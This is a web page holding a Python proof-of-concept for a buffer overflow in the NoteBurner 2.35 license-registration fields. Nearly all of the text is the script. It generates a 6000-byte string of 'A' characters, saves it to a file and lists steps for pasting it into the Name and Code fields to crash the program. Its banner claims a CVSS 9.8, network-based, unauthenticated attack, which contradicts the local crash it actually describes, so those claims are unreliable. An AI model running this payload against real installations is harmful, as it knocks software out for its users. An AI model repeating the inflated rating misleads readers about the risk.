CVE-2021-47798 NoteBurner 2.35 许可证代码字段缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2021-47798 PoC - NoteBurner 2.35 Buffer Overflow Note: This PoC is for educational and security research purposes only. Author: Security Research Team Reference: https://www.vulncheck.com/advisories/noteburner-denial-of-service-dos-poc """ import subprocess import sys import time def generate_payload(size=6000): """ Generate a buffer overflow payload of specified size. The payload consists of repeating 'A' characters to trigger overflow. """ # Generate payload with repeating byte pattern payload = 'A' * size return payload def trigger_vulnerability(payload): """ Trigger the buffer overflow vulnerability in NoteBurner. This function simulates the exploitation by writing the payload to the application's input fields. Note: Actual exploitation requires the NoteBurner application to be installed and running. This script generates the payload that can be manually pasted into the application. """ print(f"[*] Generating payload of {len(payload)} bytes...") print(f"[*] Payload preview: {payload[:100]}...") print("\n[!] To exploit this vulnerability:") print("1. Launch NoteBurner 2.35 application") print("2. Navigate to license registration/activation window") print("3. Copy the generated payload") print("4. Paste the payload into both 'Name' and 'Code' fields") print("5. Click submit/activate button") print("\nExpected result: Application crashes") return payload def main(): """ Main function to generate and trigger the PoC. """ print("=" * 60) print("CVE-2021-47798 - NoteBurner 2.35 Buffer Overflow PoC") print("=" * 60) print(f"\n[*] Vulnerability: Buffer Overflow in License Code Input") print(f"[*] Affected Product: NoteBurner 2.35") print(f"[*] CVSS Score: 9.8 (Critical)") print(f"[*] Attack Vector: Network-based, No Authentication Required") print() # Generate 6000-byte payload as specified in vulnerability description payload_size = 6000 payload = generate_payload(payload_size) # Trigger the vulnerability (generate payload for manual testing) trigger_vulnerability(payload) # Save payload to file for later use output_file = "cve_2021_47798_payload.txt" with open(output_file, 'w') as f: f.write(payload) print(f"\n[*] Payload saved to: {output_file}") print("\n[*] PoC generation complete") print("=" * 60) if __name__ == "__main__": main()